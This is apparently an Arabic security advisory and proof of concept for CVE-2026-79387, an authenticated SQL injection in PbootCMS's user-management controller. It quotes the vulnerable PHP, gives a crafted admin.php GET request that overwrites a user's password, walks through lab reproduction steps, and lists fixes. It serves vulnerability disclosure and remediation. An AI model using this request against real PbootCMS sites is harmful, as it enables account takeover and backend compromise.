
إثبات المفهوم لـ CVE-2026-79387، حقن SQL مُصادق عليه في إدارة مستخدمي PbootCMS يسمح بتحديثات حقول عشوائية والاستيلاء على الحسابات.
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-79387 |
| المنتج | PbootCMS |
| الإصدارات المتأثرة | 3.2.0 – 3.2.5، وربما إصدارات أقدم |
| نوع الثغرة | حقن SQL (CWE-89) |
| ناقل الهجوم | عن بُعد (مصادق عليه) |
| خطورة CVSS | عالية |
| مكتشف الثغرة | JihaoLi |
| البائع | https://www.pbootcms.com/ |
توجد ثغرة حقن SQL في وحدة إدارة المستخدمين في PbootCMS V3.2.5. تكمن الثغرة في طريقة mod() داخل /apps/admin/controller/system/UserController.php (السطر 149) وطريقة modUser() داخل /apps/admin/model/system/UserModel.php.
معامل field يتحكم فيه المستخدم بالكامل عبر طلب GET دون أي تحقق من القائمة البيضاء. معامل value يتحكم فيه المستخدم أيضًا ويتم دمجها مباشرة في عبارة SQL الخاصة بـ UPDATE. يمكن للمهاجم المصادق عليه تحديد أي عمود في قاعدة البيانات كـ field (مثل password، username، status، role)، مما يتيح التلاعب التعسفي بالبيانات.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
يتم أخذ $field و $value مباشرة من المتغير الشامل $_GET ودمجهما في سلسلة SQL بدون أي تنقية، وبدون قائمة بيضاء، وبدون استعلامات معلمة. يتم بعد ذلك تمرير هذه السلسلة إلى UserModel::modUser()، التي تقوم بإعادة توجيهها إلى طريقة Model::update() الأساسية. نظرًا لأن الوسيطة عبارة عن سلسلة (وليست مصفوفة)، فإنها تتجاوز التحقق من اسم الحقل checkKey() ويتم تضمينها حرفيًا في جملة SET:
UPDATE ay_user SET <يتحكم به المستخدم>= '<يتحكم به المستخدم>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
يمكن للمهاجم المصادق عليه:
ucode=10001).value بالهروب من علامة الاقتباس المفردة، مما قد يتيح هجمات مكدسة أو قائمة على التكرار المنطقي.يؤدي هذا إلى الاستيلاء على الحساب والسيطرة الكاملة على الواجهة الخلفية لنظام إدارة المحتوى.
192.168.1.104، Apache/PHP 7.2.1/SQLite)قم بالوصول إلى لوحة تحكم PbootCMS وسجّل الدخول باستخدام حساب admin الافتراضي.

انتقل إلى إدارة النظام ← إدارة المستخدمين ← إضافة مستخدم. أنشئ مستخدمًا جديدًا:
admin2admin
تؤكد قائمة المستخدمين وجود admin2 مع ucode=10002:

افتح نافذة متصفح جديدة. حاول تسجيل الدخول باسم admin2 بكلمة المرور 123456 — سيفشل ذلك لأن كلمة المرور الفعلية هي admin:

باستخدام متصفح المسؤول المسجل الدخول بالفعل، انتقل إلى:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291هو تجزئة MD5 لـ123456.
تنفذ طريقة mod() الحقن وتعيد التوجيه عبر location(-1):

الآن حاول تسجيل الدخول باستخدام admin2 / 123456:

تم تغيير كلمة المرور بنجاح عبر حقن SQL. تم تسجيل دخول المستخدم الآن بكلمة المرور الجديدة، مما يؤكد الاستيلاء الكامل على الحساب.

عندما تستقبل update() وسيطة سلسلة نصية، يتم استخدامها كما هي في جملة SET دون أي تهريب:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — السماح فقط بأسماء الأعمدة المعروفة (status، username، realname، password).$value لمنع كسر علامات الاقتباس.field هو password، قم بتطبيق encrypt_string() على القيمة قبل التخزين.mod() رمز CSRF صالحًا والتحقق من التفويض على مستوى الدور.الإفصاح: تم الإبلاغ عن هذه الثغرة بشكل مسؤول إلى البائع. إذا كنت تشغل إصدارًا متأثرًا، فقم بالتحديث فورًا وتدقيق جميع حسابات الواجهة الخلفية.